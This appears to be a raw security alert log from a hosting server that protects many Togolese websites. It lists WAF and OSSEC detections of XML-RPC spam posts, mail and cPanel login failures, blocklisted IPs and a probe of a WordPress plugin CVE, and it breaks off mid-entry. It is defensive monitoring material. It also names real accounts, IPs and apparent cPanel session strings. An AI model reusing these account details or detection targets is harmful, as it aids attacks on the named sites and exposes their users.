IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a527643a2f5c1690c90dd485f55f2b631c0b95ea||Title:vujqucsinvb7zhkj3p||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4cb6f9aac6e892633a3518fef577e48ac5744afa||Title:hkpr9mdo36rvtp||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 201.173.66.89
country_id: 3996063
description:
201.173.66.89 - - [12/Jun/2026:10:48:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261448&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frevision-constitutionnelle-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781261289 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/revision-constitutionnelle-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.8416.1932 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:201.173.66.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [12/Jun/2026:10:48:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050604&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgiz-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781261309 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/giz-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 10:48:41 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:54358: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.186
country_id: 1880251
description:
47.128.96.186 - - [12/Jun/2026:10:48:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6971751&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frevision-constitutionnelle-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781261332 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/revision-constitutionnelle-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.186


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.171
country_id: 3175395
description:
Jun 12 10:48:58 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.171 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d84df0d3c0d1d7d3e95152c4d3424d0970d93352||Title:jtfa1m9nnkmuwau||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.120.72.123
country_id: 3469034
description:
2026-06-12 10:49:18 dovecot_login authenticator failed for H=(187-120-72-123.pso-fb.mastercabo.com.br) [187.120.72.123]:47333: 535 Incorrect authentication data (set_id=test@arse.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9311c47aa0573ef663fedd7286f0c37e0510ee03||Title:2t4a82pv26102kw||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5e8b41efbb60811ab3d8adecf395f99fa40c95bb||Title:ptp63mlbpvzmik8||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ec79a3faf3a3108f893fb8df254af2eb9d276e06||Title:seanx1klsdxrgdorn||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.199
country_id: 2921044
description:
2026-06-12 10:51:32 dovecot_plain authenticator failed for H=(mail.soena.tg) [104.28.155.199]:57317: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.110.173
country_id: 2363686
description:
[2026-06-12 10:51:49 +0000] info [cpaneld] 196.171.110.173 - lhxhatyj "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.244.210.250
country_id: 6252001
description:
104.244.210.250 - - [12/Jun/2026:10:54:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.244.210.250


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.80.24.245
country_id: 1835841
description:
2026-06-12 10:54:23 dovecot_plain authenticator failed for H=(mail.soena.tg) [47.80.24.245]:36162: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.145
country_id: 6252001
description:
[2026-06-12 10:54:42 +0000] info [cpaneld] 173.211.88.145 NEW xodjvari:vFadNQQ4uVSWWCd1 address=173.211.88.145,app=cpaneld,creator=xodjvari,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.244.210.250
country_id: 6252001
description:
104.244.210.250 - - [12/Jun/2026:10:54:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 159 direct7.tg "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.244.210.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:55:26 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 1.220.90.182
country_id: 1835841
description:
1.220.90.182 - - [12/Jun/2026:10:56:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/1.1" 404 159 direct7.tg "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.37 Mobile/O6ZM6Z Safari/620.31" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:1.220.90.182


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.134.35.107
country_id: 1861060
description:
2026-06-12 10:56:22 dovecot_plain authenticator failed for H=(mail.soena.tg) [103.134.35.107]:44866: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 1.220.90.182
country_id: 1835841
description:
1.220.90.182 - - [12/Jun/2026:10:57:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/1.1" 404 159 direct7.tg "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:1.220.90.182


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.179.125.241
country_id: 1210997
domain: snovich.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/snovich.free.netmaster.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:58:13 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:58:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 64.105.233.215
country_id: 3144096
domain: chuso.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:64.105.233.215||TA:64.105.233.215||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.120.84
country_id: 1562822
description:
2026-06-12 10:58:29 dovecot_login authenticator failed for H=([183.233.85.194]) [117.4.120.84]:24898: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 23.191.80.120
country_id: 6251999
description:
23.191.80.120 - - [12/Jun/2026:11:00:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.191.80.120


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.152
country_id: 2921044
description:
185.220.101.152 - wcnyaruu [12/Jun/2026:10:59:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13013960&pdata=https%253A%252F%252Flcr-adem.org%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781261973 HTTP/2.0" 302 0 lcr-adem.org "https://lcr-adem.org:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.152


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 23.191.80.120
country_id: 6251999
description:
23.191.80.120 - - [12/Jun/2026:11:01:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/1.1" 404 159 direct7.tg "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.191.80.120


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.130
country_id: 1880251
description:
47.128.96.130 - - [12/Jun/2026:11:03:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645872&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781262198 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.130


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.128
country_id: 3175395
description:
Jun 12 11:05:18 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.128
country_id: 3175395
description:
Jun 12 11:05:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.78.64
country_id: 690791
description:
Jun 12 11:05:46 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.78.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 11:06:10 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:33822: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.111.67.133
country_id: 1861060
domain: caissederetraites.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:142.111.67.133||TA:142.111.67.133||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 11:08:44 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 103.164.183.114
country_id: 1831722
description:
[2026-06-12 11:09:12 +0000] info [cpaneld] 103.164.183.114 NEW wcnyaruu:SctjGqyMNoCO9dyv address=103.164.183.114,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.114
country_id: 6252001
domain: www.emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.emt.tg/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.195.34.35
country_id: 6252001
description:
Jun 12 11:10:31 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.195.34.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.127
country_id: 6252001
domain: www.emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.emt.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.11
country_id: 6252001
domain: emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/emt.tg/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.115
country_id: 6252001
domain: www.emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.emt.tg/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.116
country_id: 6252001
domain: www.emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.emt.tg/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.126
country_id: 6252001
domain: emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/emt.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.110
country_id: 6252001
domain: emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/emt.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.105
country_id: 6252001
domain: emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/emt.tg/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.118
country_id: 6252001
domain: www.emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.emt.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.111
country_id: 6252001
domain: www.emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.emt.tg/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.40.103
country_id: 6252001
domain: emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/emt.tg/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 11:11:52 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:11:11:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105132&pdata=http%253A%252F%252Fceni.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781262714 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 11:17:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.186
country_id: 1880251
description:
47.128.96.186 - - [12/Jun/2026:11:19:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9660613&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781263166 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.186


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 11:20:58 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.213.14.21
country_id: 1643084
description:
140.213.14.21 - - [12/Jun/2026:11:24:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9948363&pdata=https%253A%252F%252Fwww.matwtogo.org%252Fprogrammes%252FForage.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781263457 HTTP/2.0" 302 0 www.matwtogo.org "https://www.matwtogo.org/programmes/Forage.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.213.14.21


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.169.7.27
country_id: 2363686
domain: mo2.mairie.tg
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.15||T:APACHE||User:tqbcalqt||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 11:25:55 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 11:27:01 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.188.47.150
country_id: 6252001
description:
Jun 12 11:26:35 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.188.47.150 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.155.13.131
country_id: 1819730
description:
43.155.13.131 - - [12/Jun/2026:11:29:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919067&pdata=https%253A%252F%252Fave2.mairie.tg%252Frenforcement-des-competences-en-natation-un-partenariat-fructueux-entre-la-commune-ave-2-et-celle-de-saint-remy-les-chevreuse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781263738 HTTP/2.0" 302 0 ave2.mairie.tg "https://ave2.mairie.tg/renforcement-des-competences-en-natation-un-partenariat-fructueux-entre-la-commune-ave-2-et-celle-de-saint-remy-les-chevreuse/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.155.13.131


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.53
country_id: 2363686
description:
[2026-06-12 11:33:53 +0000] info [webmaild] 102.212.93.53 - daf@ucao-uut.tg "GET /cpsess8307311575/3rdparty/roundcube/skins/elastic/deps/bootstrap.min.css?s=1774777731 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.37] != Current IP Address [102.212.93.53]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.54
country_id: 2363686
description:
[2026-06-12 11:34:13 +0000] info [webmaild] 102.212.93.54 - daf@ucao-uut.tg "GET /cpsess8307311575/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:11:34:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870025&pdata=http%253A%252F%252Fjlkjum.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781264064 HTTP/1.1" 302 0 jlkjum.mediatopnews.tg "http://jlkjum.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.47
country_id: 2363686
description:
[2026-06-12 11:34:36 +0000] info [webmaild] 102.212.93.47 - daf@ucao-uut.tg "GET /logout? HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.54] != Current IP Address [102.212.93.47]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [12/Jun/2026:11:35:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000230&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781264110 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.48
country_id: 2363686
description:
[2026-06-12 11:34:48 +0000] info [webmaild] 102.212.93.48 - daf@ucao-uut.tg "POST /cpsess9490688975/execute/Email/list_pops_with_disk HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.43] != Current IP Address [102.212.93.48]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
